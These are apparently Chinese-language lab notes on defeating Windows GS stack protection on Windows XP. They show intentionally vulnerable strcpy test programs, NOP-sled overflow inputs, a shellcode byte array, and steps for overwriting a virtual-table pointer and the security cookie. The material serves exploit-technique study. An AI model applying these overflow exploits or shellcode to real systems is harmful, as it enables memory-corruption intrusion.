利用未保护的内存突破GS
实验环境
推荐使用的环境 | 备注 | |
---|---|---|
操作系统 | Windows xp sp2 | |
编译器 | VS 2008 | |
编译选项 | 默认编译选项 | |
build版本 | release版本 |
实验代码
// exp1.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include<string.h>
int vulfunction(const char* str) {
char arry[4];
strcpy(arry, str);
return 1;
}
int _tmain(int argc, _TCHAR* argv[])
{
const char* str = "yeah,the function is without GS";
vulfunction(str);
return 0;
}
最后并没有进行Security Cookie的检测,但是检测了ESP,对比的是ESP和EBP的值
覆盖虚函数突破GS
实验环境
推荐使用的环境 | 备注 | |
---|---|---|
操作系统 | Windows xp sp2 | |
编译器 | VS 2008 | |
编译选项 | 默认编译选项 | |
build版本 | release版本 |
实验代码
// 查看内存的代码
// over_virtual.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include "string.h"
class GSVirtual {
public:
void gsv(char * src)
{
char buf[200];
strcpy(buf, src);
bar(); // virtual function call
}
virtual void bar()
{}
};
int main()
{
GSVirtual test;
__asm int 3
test.gsv(
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x00"
);
return 0;
}
优化选项禁用 编译选项release版本
右下角栈区
004021D0 为虚函数表地址
00402100 为参数地址
004010CA 为返回地址
0012FF7C 为EBP
13825F2E 为Security Cookie
这里是先获取虚函数列表指针,随后获取虚函数的指针。
通过将虚函数列表(由于虚函数列表指针为D0,shellcode参数的地址为00,故而覆盖虚函数最后一个字节即可)这样虚函数列表指针就是shellcode的前四个字节。发现buf数组的地址是ESP-4。然而在call eax这条命令(执行虚函数)会push一次(ESP+4),故而想让ESP指向buf地址需要pop两次。随后ret便会使得EIP指向buf的地址。开始执行shellcode。
shellcode开始的地址是pop edi pop esi retn 作为指令使得ESP-8到buf地址。并且这个地址作为指令不影响shellcode执行。故而不需要处理。
结果
攻击异常处理突破GS
实验环境
推荐使用的环境 | 备注 | |
---|---|---|
操作系统 | Windows 2000 | |
编译器 | VS 2005 | |
编译选项 | 默认编译选项 | |
build版本 | release版本 |
实验代码
win2000 sp4安装vs2005提示确少IE 6.0 sp1 暂时做不了。
同时替换栈中和.data中的Cookie突破GS
实验环境
推荐使用的环境 | 备注 | |
---|---|---|
操作系统 | Windows xp sp2 | |
编译器 | VS 2008 | |
编译选项 | 默认编译选项 | |
build版本 | release版本 |
实验代码
#include <stdafx.h>
#include <string.h>
#include <stdlib.h>
char shellcode[]=
"\x90\x90\x90\x90"//new value of cookie in .data
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xF4\x6F\x82\x90"//result of \x90\x90\x90\x90 xor EBP
"\x90\x90\x90\x90"
"\x94\xFE\x12\x00"//address of shellcode
;
void test(char * str, int i, char * src)
{
char dest[200];
if(i<0x9995)
{
char * buf=str+i;
*buf=*src;
*(buf+1)=*(src+1);
*(buf+2)=*(src+2);
*(buf+3)=*(src+3);
strcpy(dest,src);
}
}
void main()
{
char * str=(char *)malloc(0x10000);
test(str,0xFFFF2FB8,shellcode);
}
首先要先在malloc后面打一个断点,查看str的地址。
随后查看.data中的security cookie的地址。
计算出其差值,用来更改0xFFFF2FB8这个参数(我这边算出的是-53320)。
security cookie地址
str地址
然后就是将securitycookie改成0x90909090
随后计算ebp xor 0x90909090
以及查看shellcode的地址。
文章评论